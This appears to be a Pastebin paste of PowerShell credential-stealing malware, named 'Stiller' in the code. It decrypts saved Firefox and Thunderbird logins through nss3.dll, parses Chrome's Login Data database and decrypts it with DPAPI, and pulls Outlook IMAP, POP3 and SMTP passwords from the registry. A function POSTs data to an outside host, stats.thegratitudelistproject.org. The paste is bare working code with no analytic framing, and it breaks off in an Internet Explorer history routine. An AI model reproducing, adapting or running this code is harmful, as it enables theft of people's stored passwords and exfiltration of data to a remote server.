sebus

Untitled

Nov 12th, 2019
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function hcxcdjsy( $vfbihtvst ){
  2.   $fvitext = New-Object System.Net.WebClient;
  3.   $fvitext.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  4.   $fvitext.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  5.   $fvitext.Encoding = [System.Text.Encoding]::UTF8;
  6.   try{
  7.     $gissvgeac = $fvitext.UploadString( "http://stats.thegratitudelistproject.org/", "guid=temp_4547091464&" + $vfbihtvst );
  8.     return $gissvgeac;
  9.   }catch{};
  10.   return $false;
  11. };
  12.  
  13. function Get-ExecutableType{
  14.   [CmdletBinding()]
  15.   param (
  16.       [Parameter(Mandatory = $true)]
  17.       [ValidateScript({ Test-Path -LiteralPath $_ -PathType Leaf })]
  18.       [string]
  19.       $Path
  20.   )
  21.   try{
  22.     try{
  23.         $stream = New-Object System.IO.FileStream(
  24.             $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path),
  25.             [System.IO.FileMode]::Open,
  26.             [System.IO.FileAccess]::Read,
  27.             [System.IO.FileShare]::Read
  28.         )
  29.     }catch{
  30.       hcxcdjsy "crederror=ERR:Error opening file $Path for Read: $($_.Exception.Message)";
  31.       throw
  32.     }
  33.     $exeType = 'Unknown'
  34.     if ([System.IO.Path]::GetExtension($Path) -eq '.COM'){
  35.       $exeType = '16-bit'
  36.     }
  37.     $bytes = New-Object byte[](4)
  38.     if ( ($stream.Length -ge 64) -and  ($stream.Read($bytes, 0, 2) -eq 2) -and ($bytes[0] -eq 0x4D -and $bytes[1] -eq 0x5A) ){
  39.         $exeType = 16
  40.  
  41.         if ( ($stream.Seek(0x3C, [System.IO.SeekOrigin]::Begin) -eq 0x3C) -and ($stream.Read($bytes, 0, 4) -eq 4) ){
  42.             if (-not [System.BitConverter]::IsLittleEndian) { [Array]::Reverse($bytes, 0, 4) }
  43.             $peHeaderOffset = [System.BitConverter]::ToUInt32($bytes, 0)
  44.  
  45.             if ($stream.Length -ge $peHeaderOffset + 6 -and
  46.                 $stream.Seek($peHeaderOffset, [System.IO.SeekOrigin]::Begin) -eq $peHeaderOffset -and
  47.                 $stream.Read($bytes, 0, 4) -eq 4 -and
  48.                 $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x45 -and $bytes[2] -eq 0 -and $bytes[3] -eq 0)
  49.             {
  50.                 $exeType = 'Unknown'
  51.  
  52.                 if ($stream.Read($bytes, 0, 2) -eq 2)
  53.                 {
  54.                     if (-not [System.BitConverter]::IsLittleEndian) { [Array]::Reverse($bytes, 0, 2) }
  55.                     $machineType = [System.BitConverter]::ToUInt16($bytes, 0)
  56.  
  57.                     switch ($machineType)
  58.                     {
  59.                         0x014C { $exeType = 32 }
  60.                         0x0200 { $exeType = 64 }
  61.                         0x8664 { $exeType = 64 }
  62.                     }
  63.                 }
  64.             }
  65.         }
  66.     }
  67.     return $exeType
  68.   }catch{
  69.       throw
  70.   }finally{
  71.       if ($null -ne $stream) { $stream.Dispose() }
  72.   }
  73. }
  74.  
  75.  
  76. $stillerBlock = {
  77.  
  78. $ErrorActionPreference = "SilentlyContinue"
  79. $global:log = [System.IO.Path]::GetTempFileName()
  80.  
  81. try{ Start-Transcript -Append $global:log; }catch{}
  82.  
  83. function mergeInfo($data, $info){
  84.   try{
  85.     foreach($record in $data.info.Keys) {
  86.       if($info.info[$record.ToString()] -eq $null) {
  87.           $info.info[$record] = @()
  88.       }
  89.       foreach($value in $data.info[$record]) {
  90.           $info.info[$record] += @{ [string]$value.Keys = [string]$value.Values }
  91.       }    
  92.     }
  93.   }catch{
  94.     hcxcdjsy "crederror=ERR:mergeInfo: $($_.Exception.Message)";
  95.   }
  96. }
  97.  
  98.  
  99. Function ff_dump{
  100. try{
  101.     $ffInfo = @{}
  102.     $ffError = "SUCCESS"
  103.  
  104.  
  105.     $mPaths = @("$env:SystemDrive\Program Files\Mozilla Firefox", "$env:SystemDrive\Program Files\Mozilla Thunderbird", "$env:SystemDrive\Program Files (x86)\Mozilla Firefox", "$env:SystemDrive\Program Files (x86)\Mozilla Thunderbird")    
  106.     $mozillaPath = $null
  107.  
  108.  
  109.         foreach($path in $mPaths) {
  110.             $nssPath = $(Join-Path ([string]$path) ([string]'nss3.dll'))
  111.  
  112.                 if([System.IO.File]::Exists($nssPath)) {
  113.                     $mozillaPath = ([string]$path)
  114.                     break
  115.                 }
  116.         }
  117.  
  118.         if($mozillaPath -eq $null) {
  119.             return @{"logs" = "$global:log"; "error" = $ffError; "info" = $ffInfo}  
  120.         }
  121.    
  122.  
  123.         try
  124.         {
  125.            Add-Type -AssemblyName System.web.extensions
  126.         }
  127.         catch
  128.         {
  129.             return @{"logs" = "$global:log"; "error" = "Load WEB assembly"; "info" = $ffInfo}    
  130.         }
  131.  
  132.  
  133.  
  134.     $netStructs =  @"
  135.     public struct TSECItem2 {
  136.         public int SECItemType;
  137.         public int SECItemData;
  138.         public int SECItemLen;
  139.     }
  140.  
  141.     public struct SlotInfo {
  142.     }
  143. "@  
  144.  
  145.  
  146.     $cp = New-Object System.CodeDom.Compiler.CompilerParameters
  147.     $cp.CompilerOptions = '/unsafe'
  148.        
  149.     Add-Type -TypeDefinition $netStructs -Language CSharp -CompilerParameters $cp
  150.  
  151.    
  152.     $netCode = @"
  153.    using System;
  154.    using System.Diagnostics;
  155.    using System.Runtime.InteropServices;
  156.    using System.Text;
  157.  
  158.  
  159.         public static class nss3
  160.         {
  161.             [DllImport("nss3.dll", EntryPoint = "PL_Base64Decode", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  162.                 public static extern IntPtr PL_Base64Decode(IntPtr inStr, int inLen, IntPtr outStr);
  163.        
  164.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]  
  165.                 public static extern IntPtr PK11_GetInternalKeySlot();
  166.    
  167.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]  
  168.                 public static extern void PK11_FreeSlot(IntPtr SlotInfoPtr);   
  169.        
  170.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]      
  171.                 public static extern int PK11_CheckUserPassword(IntPtr slotInfo, string pwd);
  172.        
  173.        
  174.             [DllImport("nss3.dll", EntryPoint = "PK11SDR_Decrypt", CallingConvention = CallingConvention.Cdecl,  CharSet = CharSet.Ansi)]
  175.                 public static extern int  PK11SDR_Decrypt(IntPtr dataIn, IntPtr dataOut, string pVoid);
  176.  
  177.             [DllImport("nss3.dll", EntryPoint = "SECITEM_ZfreeItem", CallingConvention = CallingConvention.Cdecl,  CharSet = CharSet.Ansi)]
  178.                 public static extern void  SECITEM_ZfreeItem(IntPtr secItem, int count);
  179.                
  180.             [DllImport("nss3.dll", EntryPoint = "NSSUTIL_GetVersion", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  181.                 public static extern IntPtr NSSUTIL_GetVersion();
  182.  
  183.             [DllImport("nss3.dll", EntryPoint = "NSS_IsInitialized", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  184.                 public static extern bool NSS_IsInitialized();
  185.    
  186.             [DllImport("nss3.dll", EntryPoint = "NSS_Init", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  187.                 public static extern int NSS_Init(byte[] path);
  188.            
  189.             [DllImport("nss3.dll", EntryPoint = "NSS_Shutdown", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  190.                 public static extern int NSS_Shutdown();
  191.        
  192.        
  193.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]  
  194.                 public static extern int PORT_GetError();
  195.        
  196.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]      
  197.                 public static extern IntPtr PR_ErrorToName(int err);
  198.         }
  199.  
  200.  
  201.         internal static class UnsafeNativeMethods
  202.         {
  203.             [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  204.                 internal static extern IntPtr LoadLibrary(string lpFileName);
  205.    
  206.             [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  207.                 internal static extern bool FreeLibrary(IntPtr hModule);
  208.    
  209.    
  210.  
  211.             [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  212.                 internal static extern bool SetDllDirectoryW(string lpPathName);
  213.  
  214.             [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
  215.                 internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  216.         }
  217.  
  218.  
  219.         public static class Stiller
  220.         {
  221.  
  222.             static IntPtr pk11slot = IntPtr.Zero;
  223.    
  224.             static IntPtr vcruntime140dll = IntPtr.Zero;
  225.             static IntPtr msvcp140dll = IntPtr.Zero;
  226.             static IntPtr mozgluedll = IntPtr.Zero;
  227.    
  228.             static IntPtr nss3dll = IntPtr.Zero;
  229.  
  230.  
  231.             public static void loadHelpers(string ffPath)
  232.             {
  233.                 Stiller.vcruntime140dll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\vcruntime140.dll");
  234.                 Stiller.msvcp140dll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\msvcp140.dll");
  235.                 Stiller.mozgluedll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\mozglue.dll");
  236.             }
  237.  
  238.             public static IntPtr loadNSS3(string ffPath)
  239.             {
  240.                 IntPtr nss3 = UnsafeNativeMethods.LoadLibrary(ffPath + "\\nss3.dll");
  241.        
  242.                     Stiller.nss3dll = nss3;
  243.            
  244.                 return nss3;    
  245.             }
  246.  
  247.  
  248.             public static bool initFF(string ffPath, string profilePath)
  249.             {
  250.                 bool result = false;
  251.  
  252.  
  253.                     loadHelpers(ffPath);
  254.        
  255.                     if(loadNSS3(ffPath) != IntPtr.Zero)
  256.                     {
  257.                         IntPtr nV = nss3.NSSUTIL_GetVersion();
  258.                         int nssInitRez = nss3.NSS_Init(Encoding.ASCII.GetBytes(profilePath));
  259.            
  260.                             if(nssInitRez == 0)
  261.                             {
  262.                                     pk11slot = nss3.PK11_GetInternalKeySlot();
  263.                        
  264.                                 int checkPwd = nss3.PK11_CheckUserPassword(pk11slot, "");
  265.  
  266.                    
  267.                                     if(checkPwd == 0)
  268.                                     {
  269.                                         result = true;
  270.                                     }
  271.                             }      
  272.                     }
  273.        
  274.        
  275.                 return result; 
  276.             }
  277.    
  278.             public static void shutdownFF()
  279.             {
  280.                     nss3.PK11_FreeSlot(pk11slot);
  281.        
  282.                 int rez = nss3.NSS_Shutdown();
  283.  
  284.                     UnsafeNativeMethods.FreeLibrary(nss3dll);
  285.                     UnsafeNativeMethods.FreeLibrary(Stiller.mozgluedll);
  286.                     UnsafeNativeMethods.FreeLibrary(Stiller.msvcp140dll);
  287.                     UnsafeNativeMethods.FreeLibrary(Stiller.vcruntime140dll);
  288.             }
  289.  
  290.             public struct TSECItemType {
  291.                 public int SECItemType;
  292.                 public IntPtr SECItemData;
  293.                 public int SECItemLen;
  294.             }
  295.  
  296.             public struct SlotInfo {
  297.                 public long l;
  298.             }  
  299.  
  300.             public static string decodeData(string profilePath, string dataEnc, byte[] unBase64)
  301.             {
  302.  
  303.                 string decoded = "";   
  304.        
  305.                     try
  306.                     {
  307.        
  308.                         bool nssIsInit = nss3.NSS_IsInitialized();
  309.        
  310.                             if(!nssIsInit)
  311.                             {
  312.        
  313.                                 return "";
  314.                             }
  315.        
  316.        
  317.                         int TSECItemTypeSize = Marshal.SizeOf(typeof(TSECItemType));   
  318.                         TSECItemType dataIn = new TSECItemType();      
  319.        
  320.        
  321.                             dataIn.SECItemData = Marshal.AllocHGlobal(unBase64.Length);
  322.                             Marshal.Copy(unBase64, 0, dataIn.SECItemData, unBase64.Length);
  323.            
  324.                             dataIn.SECItemLen= unBase64.Length;
  325.                             dataIn.SECItemType= 0;
  326.        
  327.  
  328.                         IntPtr dataOutPtr = Marshal.AllocHGlobal(TSECItemTypeSize);
  329.                         IntPtr dataInPtr = Marshal.AllocHGlobal(TSECItemTypeSize);
  330.                            
  331.                             Marshal.StructureToPtr(dataIn, dataInPtr, true);           
  332.        
  333.                     int decryptRez = nss3.PK11SDR_Decrypt(dataInPtr, dataOutPtr, null);
  334.        
  335.                         if(decryptRez != 0)
  336.                         {
  337.                
  338.                             return "";
  339.                         }
  340.        
  341.                     TSECItemType dataOut = (Stiller.TSECItemType)Marshal.PtrToStructure(dataOutPtr, typeof(TSECItemType));  //
  342.    
  343.                         decoded = PtrToStringSized(dataOut.SECItemData, dataOut.SECItemLen);
  344.            
  345.                         nss3.SECITEM_ZfreeItem(dataOutPtr, 0);
  346.                         Marshal.FreeHGlobal(dataInPtr);
  347.                 }
  348.                 catch
  349.                 {  
  350.                     return "";
  351.                 }  
  352.  
  353.    
  354.                 return decoded;
  355.             }
  356.  
  357.             private static string PtrToStringUtf8(IntPtr ptr) // aPtr is nul-terminated
  358.             {
  359.                     if (ptr == IntPtr.Zero)
  360.                         return "";
  361.    
  362.                 int len = 0;
  363.                    
  364.                     while (System.Runtime.InteropServices.Marshal.ReadByte(ptr, len) != 0)
  365.                         len++;
  366.        
  367.                     if (len == 0)
  368.                         return "";
  369.  
  370.                 byte[] array = new byte[len];
  371.                    
  372.                     System.Runtime.InteropServices.Marshal.Copy(ptr, array, 0, len);
  373.    
  374.                
  375.                 return System.Text.Encoding.UTF8.GetString(array);
  376.             }
  377.  
  378.             private static string PtrToStringSized(IntPtr ptr, int len) // aPtr is nul-terminated
  379.             {
  380.                     if (ptr == IntPtr.Zero)
  381.                         return "";  
  382.                    
  383.                     if (len == 0)
  384.                         return "";
  385.        
  386.                 byte[] array = new byte[len];
  387.                    
  388.                     System.Runtime.InteropServices.Marshal.Copy(ptr, array, 0, len);
  389.                
  390.                
  391.                 return System.Text.Encoding.UTF8.GetString(array);
  392.             }
  393. }
  394.  
  395.  
  396. "@
  397.  
  398.         Add-Type -TypeDefinition $netCode -Language CSharp -CompilerParameters $cp2
  399.  
  400.  
  401.     $profilePathFF = "$($env:APPDATA)\Mozilla\Firefox\Profiles\*.*"
  402.     $profilePathTB = "$($env:APPDATA)\ThunderBird\Profiles\*.*"
  403.    
  404.     $defaultProfiles = @()
  405.    
  406.         try {
  407.             $defaultProfiles += $(Get-ChildItem $profilePathFF -ErrorAction SilentlyContinue) | select -ExpandProperty FullName -ErrorAction SilentlyContinue
  408.             $defaultProfiles += $(Get-ChildItem $profilePathTB -ErrorAction SilentlyContinue) | select -ExpandProperty FullName -ErrorAction SilentlyContinue
  409.         }
  410.         catch {}
  411.  
  412.  
  413.         if($mozillaPath -ne $null) {
  414.  
  415.             $nss = $(Join-Path ([string]$mozillaPath) ([string]'nss3.dll'))
  416.                
  417.             If([System.IO.File]::Exists($nss)) {
  418.            
  419.            
  420.            
  421.                 foreach($defaultProfile in $defaultProfiles) {          
  422.                       if($defaultProfile -ne $null ) {
  423.                    
  424.                         $jsonPath = $(Join-Path ([string]$defaultProfile) ([string]"logins.json"))
  425.                         if([System.IO.File]::Exists($jsonPath)) {
  426.                             $jsonFile = (Get-Content $jsonPath -ErrorAction SilentlyContinue)
  427.        
  428.                                 if(!($jsonFile))
  429.                                 {
  430.            
  431.                                 }
  432.                                 else {
  433.                                         $ser = New-Object System.Web.Script.Serialization.JavaScriptSerializer
  434.                                         $obj = $ser.DeserializeObject($jsonFile)
  435.  
  436.                                         $initFF = $([Stiller]::initFF($mozillapath, $defaultProfile))
  437.                
  438.                                            
  439.                                             if($initFF -eq $True) {    
  440.                                                 $logins = $obj['logins']
  441.                                                 $count = ($logins.Count) - 1
  442.        
  443.  
  444.                                                     for($i = 0; $i -le $count; $i++)
  445.                                                     {
  446.                                                         $formUrl = $logins.GetValue($i)['formSubmitURL']
  447.            
  448.                                                             if($formUrl -eq $null) {
  449.                                                                 $formUrl = $logins.GetValue($i)['hostname']
  450.                                                                    
  451.                                                                     if($formUrl -eq $null) {
  452.                                                                         $formUrl = "empty"
  453.                                                                     }
  454.                                                             }
  455.                                                        
  456.                             if(($formUrl.StartsWith("smtp","CurrentCultureIgnoreCase")) -Or ($formUrl.StartsWith("pop","CurrentCultureIgnoreCase")) -Or ($formUrl.StartsWith("imap","CurrentCultureIgnoreCase"))) {    
  457.                               $url = ([System.Uri]$formUrl).Host
  458.                             }else{
  459.                               $url = ([System.Uri]$formUrl).Host
  460.                               if($url.Length -eq 0) {
  461.                                 $url = "empty"
  462.                               }
  463.                             }    
  464.  
  465.                                                         $encPwd = $logins.GetValue($i)['encryptedPassword']
  466.                                                         $encUser = $logins.GetValue($i)['encryptedUsername']
  467.                
  468.  
  469.                                                             if($encPwd.Length -gt 0 -and $encUser.Length -gt 0) {
  470.                                                                 $pass = [Stiller]::decodeData($defaultProfile, $encPwd, [System.Convert]::FromBase64String($encPwd))
  471.                                                                 $user = [Stiller]::decodeData($defaultProfile, $encUser, [System.Convert]::FromBase64String($encUser))
  472.                        
  473.                                                                     if($ffInfo[$url] -eq $null) {
  474.                                                                         $ffInfo[$url] = @()
  475.                                                                     }
  476.  
  477.                                                                 $ffInfo[$url] += @{ [string]$user = [string]$pass }
  478.                                                             }
  479.                                                     }
  480.                    
  481.                                                     [Stiller]::shutdownFF()
  482.                                             }
  483.                                 }
  484.                         }
  485.                         else {        
  486.                             $ffError = "NO PROFILE"
  487.                         }
  488.                     }
  489.                 }
  490.             }else{
  491.         $ffError = "NO ff\TB"
  492.       }
  493.         }
  494.   return @{"logs" = "$global:log"; "error" = $ffError; "info" = $ffInfo}
  495. }catch{
  496.   hcxcdjsy "crederror=ERR:ff_dump: $($_.Exception.Message)";
  497. }
  498. }
  499.  
  500.  
  501. Function __ToInt($ByteArray){  
  502.   try{
  503.     If ($ByteArray.Length -eq 0) { Return 0 }
  504.     [int32] $Int = 0;
  505.     $x = 0;
  506.     Do{
  507.       $Int = [math]::Floor($Int * [math]::Pow(2, 0x8)) -bor ($ByteArray[$x++])
  508.     }While ($x -lt $ByteArray.Length)
  509.     Return $Int;
  510.   }catch{
  511.     hcxcdjsy "crederror=ERR:__ToInt: $($_.Exception.Message)";
  512.   }
  513. }
  514.  
  515. Function ParseVarint($ByteArray, [ref]$VarintSize){
  516.   try{
  517.     [int32] $Val = 0;
  518.     $x = 0;
  519.     Do {
  520.       $Byte = $ByteArray[$x++];
  521.       $Val = [math]::Floor($Val * [math]::Pow(2, 0x7)) -bor ($Byte -band 0x7F);
  522.     }While($x -lt 8 -and ($Byte -band 0x80))
  523.     $VarintSize.Value = $x;
  524.     Return $Val;
  525.   }catch{
  526.     hcxcdjsy "crederror=ERR:ParseVarint: $($_.Exception.Message)";
  527.   }
  528. }
  529.  
  530. [ref]$VarintSize = 0;
  531.  
  532. Function ParseSQLite($Page){
  533.   try{
  534.     If ($Page[0] -ne 0x0D) { Return }
  535.     $NumCells = __ToInt $Page[0x3..0x4];
  536.     $CellAddrStart = 0x8;
  537.     $CellAddrStop = $CellAddrStart + ($NumCells * 2) - 1;
  538.     For ($x = $CellAddrStart; $x -le $CellAddrStop; $x += 2){
  539.         $CellAddr = __ToInt ($Page[$x .. ($x + 1)]);
  540.         ParseCellSQLite($Page[$CellAddr .. $Page.Length]);
  541.     }
  542.   }catch{
  543.     hcxcdjsy "crederror=ERR:ParseSQLite: $($_.Exception.Message)";
  544.   }
  545. }
  546.  
  547. Function ParseCellSQLite($Cell){  
  548.   try{
  549.     $Offset = 0
  550.     $PayloadLength = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize
  551.     $Offset += $VarintSize.Value
  552.     $RowID = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize
  553.     $Offset += $VarintSize.Value
  554.     If (($Offset + $Payload.Length) -le $Cell.Length){
  555.         ParsePayloadSQLite $Cell[$Offset .. ($Offset + $PayloadLength - 1)]
  556.     }
  557.   }catch{
  558.     hcxcdjsy "crederror=ERR:ParseCellSQLite: $($_.Exception.Message)";
  559.   }
  560. }
  561.  
  562. Function ParsePayloadSQLite($Payload){
  563.   try{
  564.     If ($Payload.Length -eq 0) { Return }
  565.     [ref]$VarintSize = 0;
  566.     $HeaderLength = ParseVarint $Payload[0 .. 8] $VarintSize
  567.     $Offset = $VarintSize.Value;
  568.     $FieldSeq = @()
  569.     For ($y = $Offset; $y -lt $HeaderLength; $y++){
  570.         $Serial = ParseVarint $Payload[$y .. ($y + 8)] $VarintSize
  571.         $y += $VarintSize.Value - 1
  572.         Switch ($Serial) {
  573.           {$_ -lt 0xA} { $Len = $SerialMap[$Serial]; break }
  574.           {$_ -gt 0xB} {
  575.               If ($Serial % 2 -eq 0) { $Len = (($Serial - 0xC) / 2) }
  576.               Else { $Len = (($Serial - 0xD) / 2) }
  577.           }
  578.         }
  579.         $FieldSeq += $Len;
  580.     }
  581.     $Offset = $HeaderLength;
  582.     For ($f = 0; $f -lt $FieldSeq.Length; $f++){
  583.       $Str = $Encoding.GetString($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)])
  584.       $isBlack = 0
  585.       If ($f -eq 0) { $url = $Str }
  586.       ElseIf ($f -eq 3) { $user = $Str }
  587.       ElseIf ($f -eq 5) { $pwd = DecodePasswordChrome($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)]) }
  588.      
  589.       $Offset += $FieldSeq[$f]
  590.     }
  591.     if(-Not($user -like '^\u0001*') -and -Not($user -like '^\u0000')) {
  592.       If ($user.Length -gt 0 -or $pwd.Length -gt 0){
  593.         $url = ([System.Uri]$url).Host
  594.         if($global:chromeInfo[$url] -eq $null) {
  595.           $global:chromeInfo[$url] = @()    
  596.         }
  597.         $global:chromeInfo[$url] += @{[string]$user = [string]$pwd}
  598.       }
  599.     }  
  600.   }catch{
  601.     hcxcdjsy "crederror=ERR:ParsePayloadSQLite: $($_.Exception.Message)";
  602.   }
  603. }
  604.  
  605. Function DecodePasswordChrome($Password){
  606.   try{
  607.     $P = $Encoding.GetBytes($Password)
  608.     try{
  609.       $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
  610.       Return [System.Text.Encoding]::Default.GetString($Decrypt);
  611.     }
  612.     Catch { Return "" }
  613.   }catch{
  614.     hcxcdjsy "crederror=ERR:DecodePasswordChrome: $($_.Exception.Message)";
  615.   }  
  616. }
  617.  
  618. function chrome_dump(){
  619.   try{
  620.     $global:chromeInfo = @{};
  621.     $global:chromeError = "SUCCESS"
  622.     $dbFilePath = "$($Env:USERPROFILE)\AppData\Local\Google\Chrome\User Data\*\Login Data"
  623.     $dbFiles = $(Get-ChildItem $dbFilePath).FullName;      
  624.     if($dbFiles.Count -le 0 -and $dbFiles.Length -le 0) {   $global:chromeError = "NO PROFILES";  }  
  625.     foreach($dbFile in $dbFiles) {
  626.             if($dbFile -ne $null) {
  627.                 if(([System.IO.File]::Exists($dbFile))) {
  628.           $Stream = New-Object IO.FileStream -ArgumentList "$dbFile", 'Open', 'Read', 'ReadWrite'
  629.           Add-Type -AssemblyName System.Security
  630.           $Encoding = [System.Text.Encoding]::GetEncoding(28591)
  631.           $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding
  632.           $BinaryText = $StreamReader.ReadToEnd()
  633.           $StreamReader.Close()
  634.           $Stream.Close()
  635.           $SerialMap = @{0=0; 1=1; 2=2; 3=3; 4=4; 5=5; 6=6; 7=8; 8=0; 9=0}
  636.           If ((Compare-Object $BinaryText[0x0 .. 0x5] @('S', 'Q', 'L', 'i', 't', 'e')) -eq $null){
  637.               $NumPages = __ToInt($BinaryText[0x1C .. 0x1F])
  638.               $PageSize = __ToInt($BinaryText[0x10 .. 0x11])
  639.               for($x = 0x2; $x -lt $NumPages; $x++){
  640.                 $PageStart = ($x * $PageSize);
  641.                 ParseSQLite $BinaryText[$PageStart .. ($PageStart + $PageSize - 1)]
  642.               }
  643.           }
  644.                 }
  645.       }
  646.     }
  647.     return @{"logs" = "$global:log"; "error" = $global:chromeError; "info" = $global:chromeInfo}    
  648.   }catch{
  649.     hcxcdjsy "crederror=ERR:chrome_dump: $($_.Exception.Message)";
  650.   }
  651. }
  652.  
  653.  
  654. function ol_dump(){
  655.   try{
  656.     $wms = "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*";
  657.     $office = "HKCU:\Software\Microsoft\Office\1[56].0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*";
  658.     $allPaths = @();
  659.     $olInfo = @{};
  660.     $olError = "SUCCESS";
  661.     $tmpWMS = (Get-ChildItem $wms -ErrorAction SilentlyContinue)
  662.     $tmpOffice = (Get-ChildItem $office -ErrorAction SilentlyContinue)
  663.     if($tmpWMS -ne $null){ $allPaths += $tmpWMS; }
  664.     if($tmpOffice -ne $null){ $allPaths += $tmpOffice; }
  665.     Add-Type -AssemblyName System.Security
  666.     foreach($path in $allPaths) {
  667.       $imapServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Server");
  668.       if($imapServer -ne $null) {
  669.           $server = $imapServer
  670.           try{ $server =  [System.Text.Encoding]::DEFAULT.GetString($imapServer) -replace "\u0000","" -replace "0x00",""; }catch {}
  671.           $userBytes = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP User");
  672.           $user = "";
  673.           if($userBytes -ne $null) {
  674.             $user = $userBytes;
  675.             try{ $user = [System.Text.Encoding]::DEFAULT.GetString($userBytes)  -replace "\u0000","" -replace "\x00",""; }catch{}
  676.           }
  677.           $encPwd = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Password");
  678.           $pwd = "";
  679.           try{
  680.             $pwd = [System.Text.Encoding]::DEFAULT.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($encPwd[1..$encPwd.Length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))  -replace "\u0000","" -replace "0x00",""
  681.           }catch{}
  682.           try {
  683.             $port = [System.Text.Encoding]::DEFAULT.GetString(($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Port")) -replace "0x00",""
  684.             $server += ":" + $port
  685.           }catch{}
  686.           if($olInfo[$server] -eq $null) { $olInfo[$server] = @(); }
  687.           $olInfo[$server] += @{ [string]$user = [string]$pwd  }
  688.           $smtpServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "SMTP Server");
  689.           if($smtpServer -ne $null) {
  690.             $server = $smtpServer;
  691.             try{ $server =  [System.Text.Encoding]::DEFAULT.GetString($smtpServer) -replace "\u0000","" -replace "0x00",""; }catch{}
  692.             if($olInfo[$server] -eq $null) { $olInfo[$server] = @(); }
  693.             $olInfo[$server] += @{ [string]$user = [string]$pwd  }
  694.           }
  695.       }
  696.       $pop3Server = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Server");
  697.       if($pop3Server -ne $null) {
  698.           $server = $pop3Server              
  699.           try { $server =  [System.Text.Encoding]::DEFAULT.GetString($pop3Server) -replace "\u0000","" -replace "0x00",""; }catch {}
  700.           $userBytes = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 User")
  701.           $user = "";
  702.           if($userBytes -ne $null) {
  703.             $user = $userBytes
  704.             try{ $user = [System.Text.Encoding]::DEFAULT.GetString($userBytes)  -replace "\u0000","" -replace "\x00","";}catch {}
  705.           }
  706.           $encPwd = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Password")
  707.           $pwd = "";
  708.           try {
  709.             $pwd = [System.Text.Encoding]::DEFAULT.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($encPwd[1..$encPwd.Length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))  -replace "\u0000","" -replace "0x00",""
  710.           }catch {}
  711.           try {
  712.             $port = [System.Text.Encoding]::DEFAULT.GetString(($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Port")) -replace "0x00",""
  713.             $server += ":" + $port
  714.           }catch {}
  715.           if($olInfo[$server] -eq $null){ $olInfo[$server] = @(); }
  716.           $olInfo[$server] += @{ [string]$user = [string]$pwd  }
  717.           $smtpServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "SMTP Server");
  718.           if($smtpServer -ne $null) {
  719.             $server = $smtpServer;
  720.             try { $server =  [System.Text.Encoding]::DEFAULT.GetString($smtpServer) -replace "\u0000","" -replace "0x00","";}catch {}
  721.             if($olInfo[$server] -eq $null){  $olInfo[$server] = @();  }
  722.             $olInfo[$server] += @{ [string]$user = [string]$pwd  }
  723.           }
  724.       }
  725.     }
  726.     return @{"logs" = "$global:log"; "error" = $olError; "info" = $olInfo}    
  727.   }catch{
  728.     hcxcdjsy "crederror=ERR:ol_dump: $($_.Exception.Message)";
  729.   }
  730. }
  731.  
  732.  
  733. function ie_dump(){
  734.   try{
  735.     Add-Type -AssemblyName System.Security
  736.     $ieInfo = @{};
  737.     $ieError = "SUCCESS"
  738.     $shell = New-Object -ComObject Shell.Application
  739.     $hist = $shell.NameSpace(34)
  740.     $folder = $hist.Self;
  741.     if((@($hist.Items()).Count) -le 0) { $ieInfo = "NO HISTORY"; }
  742.     $hist.Items() | foreach {
  743.       if ($_.IsFolder) {
